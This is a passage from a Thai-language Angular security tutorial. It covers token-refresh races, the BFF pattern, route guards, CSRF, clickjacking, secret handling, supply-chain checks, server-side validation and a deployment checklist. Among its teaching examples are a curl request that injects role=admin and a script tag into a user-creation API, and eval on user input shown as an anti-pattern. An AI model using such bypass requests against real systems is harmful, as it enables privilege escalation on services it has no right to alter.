// ⚠️ ตัวแปร module-level นี้ใช้ได้ถูกต้องเฉพาะเมื่อไฟล์นี้ถูก import เป็น module instance เดียวทั้งแอป —
//    ถ้าใช้ lazy-loaded feature module ที่ bundler แยก chunk คนละไฟล์ อาจได้ refresh$ ซ้ำกันคนละตัวต่อ chunk
//    ทางที่ปลอดภัยกว่า: ย้าย state ไปไว้ใน service `providedIn: 'root'` (ดู pattern AuthService ท้าย section นี้)
let refresh$: Observable<unknown> | null = null;

export const refreshInterceptor: HttpInterceptorFn = (req, next) => {
    const auth = inject(AuthService);

    return next(req).pipe(
        catchError(err => {
            if (err.status !== 401 || req.url.includes('/auth/refresh')) {
                return throwError(() => err);
            }
            // 🔴 Race condition (= หลาย request แข่งกันทำสิ่งเดียวพร้อมกัน): 5 requests get 401 พร้อมกัน → refresh 5 ครั้ง = ผิด
            // ✅ Share refresh observable — request แรกเริ่ม refresh, ที่เหลือรอ
            if (!refresh$) {
                refresh$ = auth.refresh().pipe(
                    shareReplay({ bufferSize: 1, refCount: false }),
                    finalize(() => { refresh$ = null; }),    // reset เมื่อ refresh เสร็จ
                );
            }
            return refresh$.pipe(
                switchMap(() => next(req)),    // retry with new token
            );
        })
    );
};

สมมติเปิดหน้าแดชบอร์ดที่โหลด 5 API พร้อมกัน ทุกตัวได้ 401 ในเวลาเดียวกันเพราะ token หมดอายุพอดี — ถ้าไม่มีการป้องกัน interceptor จะยิง refresh request ทั้ง 5 ครั้ง server ที่ใช้ refresh token rotation (= ใช้ครั้งเดียวแล้วล้างทิ้ง) จะเห็นว่า token เก่าถูกใช้ซ้ำ คิดว่าโดน attack และ logout ผู้ใช้ทันที shareReplay ในโค้ดด้านบนป้องกันปัญหานี้โดยให้ request แรกเป็นคนยิง refresh เพียงครั้งเดียว แล้วแชร์ผลให้อีก 4 request รอรับพร้อมกัน:

🔴 Refresh race condition — กับดักคลาสสิคของ token refresh: ถ้าหน้าโหลดยิง 5 API พร้อมกันแล้ว token หมดอายุ → ได้ 401 ทั้ง 5 → ถ้า interceptor refresh ทุก call = refresh 5 ครั้ง ซึ่งอาจทำให้ระบบคิดว่าโดนขโมย → invalidate ทั้งหมด ผู้ใช้ถูก logout

📖 rotation = refresh token หมุนทุกครั้งที่ใช้เพื่อความปลอดภัย — ใช้แล้วจะได้ token ใหม่และ token เก่าถูก invalidate ทันที

ใช้ shareReplay queue ให้แชร์ refresh เดียวกัน

⚠️ Pattern ด้านบนไม่ครอบคลุม 100% — finalize(() => { refresh$ = null; }) reset เมื่อ subscriber หมด ถ้า request ใหม่เข้ามาหลัง refresh แรกเสร็จ (refresh$ = null แล้ว) แต่ token เพิ่งหมดอายุอีกครั้ง → จะเริ่ม refresh รอบใหม่ — ปกติไม่เป็นไร แต่ถ้าต้องการ guarantee 100% (เช่น refresh token rotation strict) ให้ย้าย state ไปอยู่ใน dedicated AuthService ที่ owns refresh lifecycle แล้วใช้ BehaviorSubject<RefreshState> คุม queue เอง

🟡 ระดับ Architect — Section นี้เป็น concept ขั้นสูง มือใหม่ข้ามได้ในรอบแรก

📌 สรุปก่อนลงดีเทล: BFF คือการตั้ง backend เล็ก ๆ คั่นระหว่าง browser กับ API หลัก เพื่อให้ token ทั้งหมดอยู่ฝั่ง server เท่านั้น browser ได้แค่ session cookie — ปลอดภัยจาก XSS แต่แลกกับการเพิ่ม component หนึ่งชั้น (รายละเอียดเทคนิคด้านล่างเป็นระดับ architect — มือใหม่อ่านผ่านได้)

ภาพรวม flow ของ BFF มีหน้าตาแบบนี้:

text
browser ──[session cookie]──► BFF (รับ cookie, แปลงเป็น access token)
                                   ──[access token]──► API หลัก ──► DB

browser เห็นแค่ session cookie ตลอด — ไม่เคยเห็น JWT เลยสักตัว เปรียบเหมือนพนักงาน front desk โรงแรมที่ถือกุญแจห้องเซฟไว้เอง ลูกค้าแค่แสดงบัตรประจำตัว พนักงานก็วิ่งไปเอาของจากเซฟให้เอง ลูกค้าไม่ต้องแตะกุญแจเลย

ตัวอย่าง: เมื่อ Angular ยิง GET /api/orders ขั้นตอนคือ (1) browser ส่ง session cookie ไปที่ BFF; (2) BFF ตรวจ cookie แล้วนำ access token ที่เก็บไว้ฝั่ง server ไปยิง GET /api/orders ต่อไปยัง API หลัก; (3) API หลัก ตรวจ access token แล้วคืนข้อมูล orders; (4) BFF ส่งข้อมูลกลับให้ browser — ตลอด flow นี้ access token ไม่เคยออกนอก server เลย

🎯 Backend-for-Frontend (BFF) = pattern ที่ community ฝั่ง SPA + OAuth นิยมในปี 2026 (แนวทางตาม IETF draft "OAuth 2.0 for Browser-Based Apps" + คำแนะนำของ OWASP ASVS — ตรวจ revision ทางการก่อนนำไปอ้างใน audit):

  • ปัญหา SPA + OAuth ตรง ๆ: access token เก็บที่ฝั่ง browser (localStorage/sessionStorage/memory) → XSS-vulnerable; HttpOnly cookie ก็ใช้กับ cross-origin OAuth provider ลำบาก
  • BFF solution: backend proxy (= ตัวแทนที่รับ-ส่งคำขอแทน) เล็กๆ (Node/Spring/Go) วางหน้า API
    • SPA ↔ BFF ใช้ session cookie (HttpOnly + SameSite=Strict) ไม่มี token ใน JS เลย
    • BFF ↔ API ใช้ access token ที่ตัวเองดูแล (rotate, revoke, encrypt at rest)
    • OAuth provider ↔ BFF ใช้ standard authz code + PKCE flow
  • ข้อดี: 100% XSS-resistant สำหรับ token, refresh logic centralized, ปิด CORS แบบ strict ได้
  • ข้อเสีย: เพิ่ม component + latency 1 hop
  • libraries: openid-client (panva — certified OIDC, นิยมใน Node production), @oslojs/oauth2 (Node, ใหม่กว่า ประเมิน maturity ก่อนใช้ใน production), Spring Security OAuth2 Client, Auth.js BFF mode

8. Authorization — Route Guards ​

📖 Route Guard คือฟังก์ชันที่ Angular เรียกก่อนเปลี่ยนหน้า ถ้า return false = หน้าจะไม่โหลด — ดูรายละเอียดใน [บท Routing]

Role-based Guard ​

typescript
import { CanActivateFn, Router } from '@angular/router';
import { inject } from '@angular/core';
// หมายเหตุ: ตัวอย่างนี้สมมติว่า User type มี roles: string[] และ permissions: string[]
// ปรับให้ตรงกับ User type ที่ backend ส่งมาในแอปจริงของคุณ
// เช่น: interface User { id: string; email: string; roles: string[]; permissions: string[] }

export function hasRole(role: string): CanActivateFn {
    return () => {
        const auth = inject(AuthService);
        const router = inject(Router);
        
        if (!auth.isLoggedIn()) {
            router.navigate(['/login']);
            return false;
        }
        
        if (!auth.user()?.roles.includes(role)) {
            router.navigate(['/forbidden']);
            return false;
        }
        
        return true;
    };
}
typescript
// routes
{ path: 'admin', canActivate: [hasRole('admin')], children: [...] }

Permission-based Directive ​

โค้ดด้านล่างทำสิ่งนี้: ซ่อน/แสดงปุ่มหรือ element ใด ๆ โดยอัตโนมัติตามว่า user ที่ล็อกอินอยู่มีสิทธิ์ (permission) นั้นหรือไม่ เช่นปุ่ม "ลบ" จะไม่ถูกแสดงเลยถ้า user ไม่มีสิทธิ์ user.delete

📖 Structural Directive ขั้นสูง — โค้ดด้านล่างใช้ TemplateRef, ViewContainerRef, input.required(), effect() ซึ่งเป็น concept ขั้นสูง ถ้ายังไม่ผ่านบท Directives มาให้ทำความเข้าใจ concept แต่ยังไม่ต้องเขียนเองได้

typescript
@Directive({
    selector: '[appHasPermission]',
    standalone: true
})
export class HasPermissionDirective {
    private auth = inject(AuthService);
    private tpl = inject(TemplateRef<unknown>);     // ⭐ generic param required (TS strict)
    private vcr = inject(ViewContainerRef);
    
    // ⚠️ signal input กับ structural directive รองรับใน Angular 17.1+ — ระบุ minimum version ในโปรเจกต์ของคุณ
    permission = input.required<string>({ alias: 'appHasPermission' });
    
    constructor() {
        // effect() ใน constructor — ทำงานได้แต่ถ้าเจอ ExpressionChangedAfterItHasBeenCheckedError
        // ใน dev mode ให้ลองย้ายไปใช้ใน ngOnInit แทน
        effect(() => {
            this.vcr.clear();
            if (this.auth.user()?.permissions.includes(this.permission())) {
                this.vcr.createEmbeddedView(this.tpl);
            }
        });
    }
}
html
<!-- ⚠️ ต้อง import HasPermissionDirective ใน imports ของ component ที่ใช้ด้วย -->
<button *appHasPermission="'user.delete'" (click)="delete()">Delete</button>

⚠️ Frontend permission = UX only. ทุก check ต้องทำที่ server (เพราะ JS ฝั่ง browser เปลี่ยนแปลงได้ง่าย — ผู้โจมตีสามารถข้ามการตรวจสอบ frontend ได้ด้วย DevTools หรือ curl)


9. CSRF — Cross-Site Request Forgery ​

CSRF คือการที่เว็บร้ายหลอกให้เบราว์เซอร์ของผู้ใช้ "แอบส่งคำสั่ง" ไปยังเว็บที่ผู้ใช้ล็อกอินอยู่ (เพราะ cookie ถูกแนบไปอัตโนมัติ) เช่นสั่งโอนเงินโดยที่ผู้ใช้ไม่รู้ตัว มาดูว่ามันทำงานยังไงและป้องกันด้วยอะไรบ้าง:

How CSRF Works ​

text
User logged in to bank.com (cookie stored)
   ↓
User opens evil.com (in another tab)
   ↓
evil.com submits form to bank.com/transfer (cookie sent)
   ↓
Bank ทำเงินโอนเพราะ cookie valid → user เสียเงิน

Defenses ​

text
1. SameSite Cookie
   Set-Cookie: token=...; SameSite=Strict (or Lax)
   → Cookie ไม่ส่งใน cross-site request
   
2. CSRF Token (double-submit)
   - Server sets cookie XSRF-TOKEN = randomvalue
   - Client reads cookie → sends back as X-XSRF-TOKEN header
   - Server validates match
   
3. Origin/Referer Header check (server-side)

Angular built-in: withXsrfConfiguration() (ดูข้างบน)


10. Clickjacking ​

Clickjacking คือการที่ผู้โจมตีเอาเว็บของเราไปฝังใน iframe แล้ววางปุ่มล่องหนทับ หลอกให้ผู้ใช้คลิกสิ่งที่ไม่ได้ตั้งใจ ป้องกันได้ด้วยการสั่งห้ามไม่ให้เว็บเราถูกฝังใน iframe ผ่าน HTTP header:

text
Attacker iframes your site → overlay invisible buttons → trick user click

Defense — HTTP Header ​

text
X-Frame-Options: DENY              # block all iframe
X-Frame-Options: SAMEORIGIN        # allow same domain only

# Or CSP (modern)
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';

→ ตั้งใน server config — ไม่ใช่ Angular


11. Sensitive Data — Don't Leak ​

ข้อมูลอ่อนไหว (token, รหัสลับ, ข้อมูลส่วนตัว) รั่วไหลได้จากที่ที่เราคาดไม่ถึง — ใส่ไว้ใน URL (ถูกเก็บใน history/log), เผลอ console.log, ปล่อย source map หลุด, หรือฝัง secret ใน bundle หลักการคือ frontend เก็บได้เฉพาะค่าที่เป็นสาธารณะเท่านั้น ส่วน secret อยู่ฝั่ง backend:

URL ​

typescript
// ❌ Token in URL
this.router.navigate(['/dashboard'], { 
    queryParams: { token: jwt } 
});
// URL logged in browser history, server logs, referer header

// ✅ Token in HttpOnly cookie or memory

Console Log ​

typescript
// ❌
console.log('user logged in:', user, 'token:', token);

// ✅
console.log('user logged in:', user.id);  // ID only

Source Map (Production) ​

json
// angular.json — hide source map
"production": {
    "sourceMap": false,
    
    // Or hidden (no .map link in JS, but file exists)
    "sourceMap": {
        "hidden": true,
        "scripts": true,
        "styles": true
    }
}

→ Source map สามารถ reverse compile JS กลับเป็น TS — hide ใน production

Environment Variable ​

typescript
// ❌ Secret in environment.ts (compiled into bundle)
export const environment = {
    apiKey: 'sk_live_abc123',          // ⚠️ public to anyone
    stripeSecret: 'sk_...'             // ⚠️ never in frontend
};
text
✅ Frontend = ONLY public keys (e.g. Stripe publishable, Google Analytics)
✅ Secrets = backend only

12. Secure Form Patterns ​

ฟอร์มที่รับข้อมูลอ่อนไหว (รหัสผ่าน, บัตรเครดิต, OTP) มีแนวปฏิบัติเฉพาะที่ช่วยทั้งความปลอดภัยและประสบการณ์ใช้งาน เช่น ตั้ง type="password", ใช้ autocomplete ให้ถูกชนิดเพื่อให้ password manager ทำงาน และจำกัดการพยายามล็อกอินซ้ำ ๆ:

Mask Sensitive Input ​

html
<input type="password" formControlName="password" autocomplete="new-password">

<!-- Show/hide toggle -->
<button type="button" (click)="showPwd.set(!showPwd())">
    {{ showPwd() ? 'Hide' : 'Show' }}
</button>
<input [type]="showPwd() ? 'text' : 'password'" formControlName="password">

Autocomplete Attributes ​

html
<input type="email" autocomplete="email">
<input type="password" autocomplete="current-password">     <!-- login -->
<input type="password" autocomplete="new-password">          <!-- signup -->
<input type="text" autocomplete="cc-number">                 <!-- credit card -->
<input type="text" autocomplete="one-time-code">            <!-- OTP/2FA -->

→ Browser fills correctly + password manager works

Prevent Brute Force (Client-side hint) ​

typescript
@Component({...})
export class LoginComponent {
    failedAttempts = signal(0);
    cooldown = signal(0);
    
    async submit() {
        if (this.cooldown() > 0) return;
        
        try {
            await this.auth.login(this.form.value);
            this.failedAttempts.set(0);
        } catch (e) {
            this.failedAttempts.update(n => n + 1);
            if (this.failedAttempts() >= 3) {
                this.cooldown.set(30);     // 30 seconds
                this.startCooldown();
            }
        }
    }
    
    private startCooldown() {
        const timer = setInterval(() => {
            this.cooldown.update(s => {
                if (s <= 1) { clearInterval(timer); return 0; }
                return s - 1;
            });
        }, 1000);
    }
}

⚠️ Real protection = server-side rate limiting (e.g. Spring Boot + Bucket4j (= library จำกัดอัตราการเรียก API ของ Spring Boot), nginx limit_req, Cloudflare rate-limiting rules) — frontend ทำได้แค่ UX hint; ดู Spring Boot บท 3 — Security + JWT สำหรับฝั่ง backend (Spring Boot คือ framework ฝั่ง backend ภาษา Java — ลิงก์นี้สำหรับคนที่ใช้ Java backend เท่านั้น คนที่ใช้ Node/Python ข้ามได้)


13. Dependency Security (Supply Chain) ​

แอป Angular หนึ่งตัวพึ่งพา npm package หลายร้อยถึงพันตัว (รวม dependency ซ้อน) ถ้ามีตัวใดตัวหนึ่งถูกฝังมัลแวร์ แอปเราก็พลอยติดไปด้วย นี่คือ "supply chain attack" เราป้องกันด้วยการ audit, ล็อกเวอร์ชัน, ระวัง package น่าสงสัย และลดจำนวน dependency เท่าที่จำเป็น:

text
npm install package → ไม่รู้ว่า package depend อะไรอีก
→ Total deps = ร้อย-พัน packages
→ 1 package compromised = ทั้ง app compromised

Audit ​

bash
npm audit                   # check known vulnerabilities
npm audit fix               # auto-fix
npm audit --production      # production deps only

# Better — Snyk
npx snyk test
npx snyk monitor            # continuous monitoring

# GitHub Dependabot — auto PR for updates

Lockfile ​

text
package-lock.json:
- ล็อกเวอร์ชันแน่นอน (พร้อม hash ตรวจสอบ) — exact versions (with hash)
- ป้องกันการสลับแพ็กเกจ — prevent supply chain swap

→ commit lockfile เข้า git เสมอ
→ ตั้ง CI: npm ci (not install) — ใช้ lockfile อย่างเคร่งครัด

Be Suspicious ​

text
⚠️ ระวัง:
- Package ที่มียอด download น้อยผิดปกติ
- Typo-squatting (= ตั้งชื่อ package คล้ายของยอดนิยมเพื่อหลอกให้ติดตั้งโดยไม่ตั้งใจ เช่น "lodahs" แทน "lodash")
- ผู้ร่วมพัฒนาหน้าใหม่ที่ไม่รู้จัก push code เข้า repo เมื่อเร็วๆ นี้
- Postinstall scripts (= script ที่รันอัตโนมัติหลัง npm install — อันตรายมากถ้าเป็น malicious)
- Obfuscated code (= โค้ดที่ถูกทำให้อ่านยากจงใจ เช่น ตัวแปรชื่อ a, b, c ทั้งหมด)

→ ตรวจก่อนติดตั้ง:
- GitHub stars + กิจกรรมล่าสุด
- ประวัติและความน่าเชื่อถือของ maintainer
- bundlephobia.com (ขนาด + deps)
- snyk.io advisor (ด้านความปลอดภัย + ความนิยม)

Minimize Dependencies ​

typescript
// ❌ Use moment.js (massive)
import moment from 'moment';
moment().format('YYYY-MM-DD');

// ✅ Use Intl (built-in browser API)
new Intl.DateTimeFormat('en-CA').format(new Date());

// ✅ Or date-fns (tree-shakable)
import { format } from 'date-fns';
format(new Date(), 'yyyy-MM-dd');

14. Global Error Handler ​

มุมความปลอดภัยของการจัดการ error คือ "อย่าเผลอเปิดเผยรายละเอียดภายในให้ผู้ใช้/ผู้โจมตีเห็น" (เช่น stack trace, ชื่อตาราง) เราจึงตั้ง ErrorHandler กลางที่ส่งรายละเอียดจริงเข้า Sentry แต่แสดงข้อความเป็นมิตรกลาง ๆ ต่อผู้ใช้

📖 Sentry คือบริการ error tracking ออนไลน์ยอดนิยม — รับรายงาน error จาก app อัตโนมัติ ต้องสมัครและตั้งค่าแยกต่างหากที่ sentry.io

bash
npm install @sentry/angular

⚠️ ตัวอย่างนี้แสดงเฉพาะจุดที่เรียก Sentry.captureException() — ก่อนใช้งานจริงต้อง Sentry.init({ dsn: '...' }) ใน main.ts (ตอน bootstrap แอป) ก่อน ไม่งั้นจะ error หรือ event หายเงียบ ๆ ดูวิธีตั้งค่าที่ docs.sentry.io

typescript
import { ErrorHandler, Injectable, inject } from '@angular/core';
import { HttpErrorResponse } from '@angular/common/http';
import { Router } from '@angular/router';
import * as Sentry from '@sentry/angular';

@Injectable()
export class GlobalErrorHandler implements ErrorHandler {
    private router = inject(Router);
    private notify = inject(NotificationService);  // NotificationService เป็น service สมมติ ใช้แทน toast/snackbar ใดก็ได้ เช่น MatSnackBar
    
    handleError(error: unknown): void {
        // 1. บันทึก error ไปยัง Sentry หรือ logging service ที่ใช้
        Sentry.captureException(error);
        
        // 2. Log locally (dev only)
        if (!environment.production) {
            console.error('Unhandled error:', error);
        }
        
        // 3. Show user-friendly message (don't leak details)
        if (error instanceof HttpErrorResponse) {
            if (error.status === 401) {
                this.router.navigate(['/login']);
                return;
            }
            this.notify.error('Network error. Please try again.');
        } else {
            this.notify.error('Something went wrong. Please refresh.');
        }
        
        // ⚠️ DON'T show raw error.message to user — may leak info
    }
}
typescript
// app.config.ts
providers: [
    { provide: ErrorHandler, useClass: GlobalErrorHandler }
]

→ จับ uncaught error ทั้ง app — log + display friendly

Error Boundary Pattern ​

🔴 Angular ไม่มี Error Boundary แบบ React — window:error event ใช้ดัก uncaught browser error (เช่น setTimeout callback) เท่านั้น ดัก error ที่เกิดใน component lifecycle / template / signal ของ Angular ไม่ได้ — ต้องใช้ ErrorHandler provider (ดู section 14 ด้านบน) ร่วมกับ signal กลางที่ component sub-tree subscribe เอง

📌 Zoneless app (Angular 19+): behavior ของ ErrorHandler ใน zoneless mode อาจต่างจาก zone-based app — ตรวจสอบเอกสาร Angular เรื่อง error handling ใน zoneless context ก่อน deploy

typescript
// 1. service กลางที่ ErrorHandler push error เข้ามา
@Injectable({ providedIn: 'root' })
export class ErrorBus {
    error = signal<unknown>(null);
    clear() { this.error.set(null); }
}

// 2. ErrorHandler (ลงทะเบียนใน providers — ดู section 14)
@Injectable()
export class BoundaryErrorHandler implements ErrorHandler {
    private bus = inject(ErrorBus);
    handleError(err: unknown) {
        this.bus.error.set(err);
        // บันทึก error ไปยัง Sentry หรือ logging service ที่ใช้
    }
}

// 3. component แสดง fallback UI
@Component({
    selector: 'app-error-boundary',
    template: `
        @if (bus.error()) {
            <div class="error">
                <h2>Something went wrong</h2>
                <button (click)="retry()">Try again</button>
            </div>
        } @else {
            <ng-content />
        }
    `
})
export class ErrorBoundaryComponent {
    protected bus = inject(ErrorBus);
    retry() { this.bus.clear(); }
}

⚠️ Pattern นี้ยังไม่ scope ต่อ component sub-tree เหมือน React Error Boundary จริง ๆ (Angular issue #34874) — ถ้าต้องการ per-route boundary ให้ใช้ route-level error handling ผ่าน resolver/guard หรือใช้ library @ngneat/error-tailor / ngx-error-handler


15. Validation — Server-side First ​

หลักการที่ต้องจำให้ขึ้นใจ: validation ฝั่ง frontend มีไว้เพื่อ "ประสบการณ์ที่ดี" เท่านั้น ไม่ใช่ความปลอดภัย เพราะผู้โจมตีเลี่ยง frontend แล้วยิง API ตรง ๆ ด้วย curl ได้ ดังนั้นการตรวจสอบที่ "นับ" จริงต้องทำที่ server เสมอ (รวมถึงระวัง mass assignment):

text
🚨 กฎสำคัญ: การตรวจสอบฝั่ง Frontend = เพื่อ UX เท่านั้น. การตรวจสอบฝั่ง Server = ความปลอดภัยจริง
   (RULE: Frontend validation = UX. Server validation = security.)

❌ Trusting Frontend ​

html
<!-- Frontend -->
<input formControlName="email" [email]>
kotlin
// Backend just trusts it — ไม่มีการตรวจสอบเลย!
@PostMapping("/users")
fun create(@RequestBody user: User) {
    userRepo.save(user)         // ⚠️ ไม่มีการตรวจสอบเลย!
}

Attacker bypass frontend with curl:

bash
curl -X POST /api/users -d '{"email": "<script>", "role": "admin"}'
# → injected role=admin

✅ Validate Both ​

📌 โค้ดด้านล่างใช้ Kotlin + Spring Boot เพียงเพื่อแสดงแนวคิด backend validation เท่านั้น — ไม่ต้องเข้าใจ syntax Kotlin ก็อ่านต่อได้ แค่ดู comment (@Valid, @field:Email คือ annotation ของ Spring สำหรับตรวจสอบข้อมูลอัตโนมัติ) ถ้าใช้ backend ภาษาอื่น ให้ดูเอกสาร validation ของ framework นั้นๆ แทน

kotlin
// Backend (Spring Boot + Kotlin)
@PostMapping("/users")
fun create(@Valid @RequestBody dto: CreateUserDto): User {
    // bean validation
    return userService.create(dto)
}

class CreateUserDto(
    @field:Email
    @field:NotBlank
    val email: String,
    
    @field:Pattern(regexp = "^[a-zA-Z ]+$")
    val name: String
    
    // ⚠️ no `role` field — server assigns role
)

Mass Assignment ​

📖 Mass Assignment = การที่ frontend ส่ง field เกินมาจน server บันทึก field ที่ไม่ควรบันทึก (เช่น role=admin) — ป้องกันด้วยการใช้ DTO ที่ whitelist field ที่รับได้เท่านั้น

typescript
// ❌ Sending all fields
this.http.put<User>(`/api/users/${id}`, this.form.value);
// → form has hidden `role: 'admin'` injected via DevTools

// ✅ Whitelist on server
class UpdateUserDto(val name: String, val email: String)
// → backend ignore extra fields

16. HTTPS + HSTS ​

ทุกแอป production ต้องใช้ HTTPS เท่านั้น เพื่อเข้ารหัสข้อมูลระหว่างทาง และควรเปิด HSTS ซึ่งสั่งให้เบราว์เซอร์ "จำไว้ว่าให้ใช้ HTTPS เสมอ" ป้องกันการโดนดักก่อนถูก redirect ตั้งค่าพวกนี้ที่ฝั่งเซิร์ฟเวอร์ (เช่น Nginx):

nginx
✅ HTTPS only (no HTTP)
✅ HSTS — browser remembers "use HTTPS for next year"
✅ Redirect HTTP → HTTPS

Nginx:
server {
    listen 80;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
    # ...
}

Submit to HSTS Preload ​

hstspreload.org — browser pre-loaded list = ไม่ต้องรอ first visit


17. Browser Storage Comparison ​

เบราว์เซอร์มีที่เก็บข้อมูลหลายแบบ แต่ละแบบมีจุดอ่อน/จุดแข็งต่างกันด้านความปลอดภัยและความคงทน ตารางนี้เทียบให้เห็นชัด แล้วสรุปว่าข้อมูลแต่ละชนิดควรเก็บที่ไหน (และอะไรที่ห้ามเก็บฝั่ง frontend เด็ดขาด):

StorageXSS-safeSurvives reloadCross-tabCapacity
HttpOnly Cookie✅✅✅4 KB
localStorage❌✅✅5 MB
sessionStorage❌❌ (tab close)❌5 MB
IndexedDB❌✅✅unlimited (browser)
In-memory⚠️ (ดีกว่า localStorage — XSS ใน same origin ยังอ่านได้)❌ (refresh)❌unlimited

Where to Store What ​

text
🔐 Auth token (JWT)     → HttpOnly cookie (or in-memory + silent refresh)
📋 User preferences     → localStorage (non-sensitive)
🛒 Cart state           → localStorage / IndexedDB
📄 Form draft           → sessionStorage / localStorage
🖼️ Media cache         → IndexedDB / Service Worker cache
🔒 Sensitive data       → NEVER frontend

sessionStorage for Sensitive (Better than localStorage) ​

typescript
// If must store on frontend:
sessionStorage.setItem('tempToken', token);
// → cleared when tab closes

18. Service Worker / PWA Security ​

Service worker มีอำนาจมาก — มันอยู่ถาวรและดักทุก request ที่แอปยิงออกไปได้ ถ้าถูกเจาะหรือตั้งค่าผิด ความเสียหายร้ายแรง จุดสำคัญคืออย่า cache endpoint ที่อ่อนไหว (auth, payment) และทำงานบน HTTPS เท่านั้น:

typescript
// ⚠️ Service worker = ทำงานถาวรและเข้าถึง request ทุกตัวได้ / ถ้าถูกเจาะ = ความเสียหายร้ายแรงมาก

// Best practices:
// 1. Verify ngsw-config.json — don't cache sensitive endpoints
// 2. HTTPS only (SW only works on HTTPS)
// 3. Same-origin (default)
// 4. Sign + verify SW updates
json
// ngsw-config.json — explicit DO NOT cache
{
    "dataGroups": [
        {
            "name": "api-no-cache",
            "urls": ["/api/auth/**", "/api/me", "/api/payments/**"],
            "cacheConfig": {
                "strategy": "freshness",
                "maxAge": "0",
                "maxSize": 0,
                "timeout": "5s"
            }
        }
    ]
}

19. SSR Security ​

เมื่อใช้ SSR โค้ดบางส่วนรันบนเซิร์ฟเวอร์ ซึ่งเปิดช่องโจมตีแบบใหม่ — ถ้านำ input ของผู้ใช้ไปประกอบ HTML ตรง ๆ (template literal) หรือ eval จะกลายเป็น XSS/RCE (Remote Code Execution — การรันโค้ดใดก็ได้จากระยะไกล อันตรายที่สุด) ระดับเซิร์ฟเวอร์ที่อันตรายกว่าฝั่ง client หลักคือพึ่ง sanitizer ของ Angular และห้าม eval input เด็ดขาด:

typescript
// ❌ Render user input directly on server
const html = `<div>Welcome, ${userInput}</div>`;
// → XSS, server-side

// ✅ Angular SSR — Angular sanitize by default
// (use {{ }} or [property], not template literals)

Avoid Server-side Eval ​

typescript
// ❌
new Function('return ' + userInput);    // RCE risk
eval(userInput);

// ✅ — never eval user input

Sandbox Iframe ​

html
<iframe 
    [src]="trustedUrl" 
    sandbox="allow-scripts"
    referrerpolicy="no-referrer"
></iframe>

→ attribute sandbox จำกัดสิทธิ์ iframe (เข้าถึง parent ไม่ได้ ฯลฯ)


20. Security Checklist ​

รวมทุกเรื่องในบทนี้เป็นเช็คลิสต์เดียวที่ใช้กาก่อน deploy ได้จริง แบ่งเป็นหมวด: build/deploy, โค้ด, authentication, authorization, dependency, monitoring, network และ testing — ไล่ทีละข้อเพื่อไม่ให้พลาดจุดสำคัญ:

text
🔒 Build / Deploy
□ HTTPS + HSTS + redirect HTTP→HTTPS
□ CSP header (default-src 'self', ...)
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY (or frame-ancestors)
□ Strict-Transport-Security header
□ Source map hidden in production
□ No secret in environment.ts
□ Production build (ng build --configuration=production)

🔐 Code
□ Always use {{ }} or [prop] for binding (let Angular sanitize)
□ bypassSecurityTrust* only when source is trusted + documented
□ Use DOMPurify if rendering user HTML
□ Trusted Types enabled in CSP
□ No console.log of sensitive data
□ No token in URL query string

🛡️ Authentication
□ HttpOnly + Secure + SameSite cookies (preferred)
□ Or in-memory token + silent refresh
□ CSRF protection (Angular XsrfModule + server validate)
□ Login rate limiting (server)
□ Account lockout / cooldown after failures
□ MFA (2FA) for sensitive accounts
□ Logout = invalidate token server-side

🚦 Authorization
□ Role/permission check on EVERY API endpoint (server)
□ Frontend hide/show = UX only, not security
□ Use route guards for routing UX
□ Don't trust frontend role claims — verify server-side

📦 Dependencies
□ npm audit in CI — fail on high/critical
□ Dependabot enabled
□ Snyk or similar SCA tool
□ Pin exact versions in lockfile
□ npm ci (not install) in CI
□ Review postinstall scripts

📊 Monitoring
□ Sentry / Rollbar / Datadog for error tracking
□ Security event logging (login attempts, permission changes)
□ Alerting on suspicious patterns

🌐 Network
□ CORS — only allow specific origins (not *)
□ Rate limiting (per IP, per user)
□ WAF (CloudFlare / AWS WAF) for public API
□ DDoS protection

🧪 Testing
□ Penetration test (= ทดสอบเจาะระบบโดยจำลองการโจมตีจริง) (OWASP ZAP, Burp)
□ Static analysis (Semgrep, ESLint security plugin)
□ Lighthouse Security audit
□ Manual review of auth flows

21. ⚠️ Common Mistakes ​

ตารางนี้สรุปข้อผิดพลาดด้านความปลอดภัยที่พบบ่อยที่สุดคู่กับวิธีที่ถูกต้อง ลองไล่ดูว่าโค้ดของคุณติดข้อไหน เพราะหลายข้อเป็นช่องโหว่ที่ผู้โจมตีมองหาเป็นอย่างแรก:

❌✅
[innerHTML]="userInput" (raw)Sanitize ก่อน หรือใช้ {{ }} แทน
bypassSecurityTrustHtml(userInput)ผ่าน DOMPurify ก่อน bypass
Store JWT in localStorageใช้ HttpOnly cookie
Token in URL ?token=...ใช้ Cookie หรือ Authorization header แทน
Secret in environment.tsเก็บไว้ฝั่ง Backend เท่านั้น
Frontend role check = securityต้อง check ที่ server-side เสมอ
withCredentials: false cross-originตั้งเป็น true เมื่อต้องการส่ง auth cookie
Skip CSRF tokenใช้ withXsrfConfiguration()
target="_blank" no rel="noopener"เพิ่ม rel="noopener noreferrer" (เบราว์เซอร์หลักส่วนใหญ่ใส่ noopener ให้อัตโนมัติตั้งแต่ราวปี 2021-2022 แต่ยังมีความแตกต่างระหว่างเบราว์เซอร์ — ใส่ explicit rel เสมอเพื่อความชัวร์และ legacy support)
Pin dependency ^1.0.0 (auto-update)ใช้ Lockfile + audit
console.log(user) in productionลบ log ใน production build
HTTP API in productionใช้ HTTPS only + HSTS
Inline <script> ('unsafe-inline')ใช้ nonce หรือ external script
Source map exposedซ่อนใน production

22. ตัวอย่างเต็ม — Secure Auth Setup ​

รวมหลักการด้านความปลอดภัยในบทนี้เป็นชุดตั้งค่า authentication ที่พร้อมใช้จริง — มีครบทั้ง CSRF config, interceptor สำหรับแนบ credentials/จัดการ 401/refresh token, error handler กลาง และ AuthService ที่ใช้ signal เก็บสถานะผู้ใช้ ใช้เป็นแม่แบบของระบบล็อกอินที่ปลอดภัยได้เลย

📌 interceptors ที่ import จาก './interceptors' (credentialsInterceptor, errorInterceptor, refreshInterceptor) ถูกแสดงโค้ดในส่วนก่อนหน้าของบทนี้ — authInterceptor เป็น skeleton ที่ต้องสร้างเพิ่มถ้าใช้ header-based JWT auth

typescript
// app.config.ts
import { ApplicationConfig, ErrorHandler } from '@angular/core';
import { 
    provideHttpClient, 
    withFetch, 
    withInterceptors, 
    withXsrfConfiguration 
